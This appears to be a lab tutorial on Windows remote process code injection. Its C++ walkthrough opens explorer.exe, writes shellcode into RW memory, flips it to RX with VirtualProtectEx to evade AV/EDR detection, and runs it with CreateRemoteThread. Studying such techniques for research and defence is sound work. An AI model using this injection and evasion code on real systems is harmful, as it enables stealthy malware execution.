Classic Code Injection Remote Process Using VirtualProtect
Overview
In this lab, we cover classic code injection in remote process using VirtualProtect. This is the same technique, we discussed in last lab but one extra step is involved in this lab which is to change the permission of allocated memory with Windows API VirtualProtect. Allocating RWX region at a same time is great indicator for AV/EDR solutions, so to avoid RWX region detection, we first create RW region and before executing shellcode we change it to RX. This method involves creating a new thread in a remote process and executing the payload or shellcode within that context. This is often done using Windows API functions such as OpenProcess, VirtualAllocEx, WriteProcessMemory, VirtualProtect and CreateRemoteThread.
Steps
Identify the Target Process:Toolhelp32functions to enumerate running processes and identify the target process by its name.Obtain a Handle to the Target Process:OpenProcessfunction to get a handle with necessary access rights (PROCESS_ALL_ACCESS).Allocate Memory in the Target Process:VirtualAllocExfunction to allocateRWmemory in the target process’s address space.Write Shellcode to the Allocated Memory:WriteProcessMemoryto write the shellcode into the allocated memory.Chnage the memory protection:VirtualProtectto change the RW protection to RX.Create a Remote Thread to Execute the Shellcode:CreateRemoteThreadfunction to create a new thread in the target process that starts at the address of the our shellcode.
Walkthrough
These headers are necessary to use the Windows API functions for process enumeration, memory manipulation, and thread creation.
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
This function, GetProcessHandleByName, takes the target process’s name (e.g., L”explorer.exe”) and returns its handle by enumerating through all running processes.
HANDLE GetProcessHandleByName(const std::wstring& processName) {
HANDLE hProcess = nullptr;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
auto snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return nullptr;
if (Process32FirstW(snapshot, &pe32)) {
do {
if (processName == pe32.szExeFile) {
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
break;
}
} while (Process32NextW(snapshot, &pe32));
}
CloseHandle(snapshot);
return hProcess;
}
VirtualAllocEx is used to allocate a block of memory in the virtual address space of the target process (explorer.exe). The memory is allocated with PAGE_READWRITE permissions to allow the shellcode to be written.
// Allocate a memory buffer for payload with permission RW
my_sc_mem = VirtualAllocEx(hProcess, 0, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory writes our shellcode into the allocated memory in the target process.
// copy payload to allocated buffer using WriteProcessMemory()
WriteProcessMemory(hProcess, my_sc_mem, sc, sc_len, NULL);
VirtualProtect is to change the memory protection from RW to RX before executing the shellcode.
// change the allocated memory section permission to Executable
VirtualProtectEx(hProcess, my_sc_mem, sc_len, PAGE_EXECUTE_READ, &oldprotect);
CreateRemoteThread creates a new thread in the target process. The thread starts executing at the address of the injected shellcode. The code then waits for the thread to complete using WaitForSingleObject and cleans up the handles.
// run shellcode
hthread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)my_sc_mem, NULL, 0, NULL);
if (hthread != NULL) {
WaitForSingleObject(hthread, 500);
CloseHandle(hthread);
}
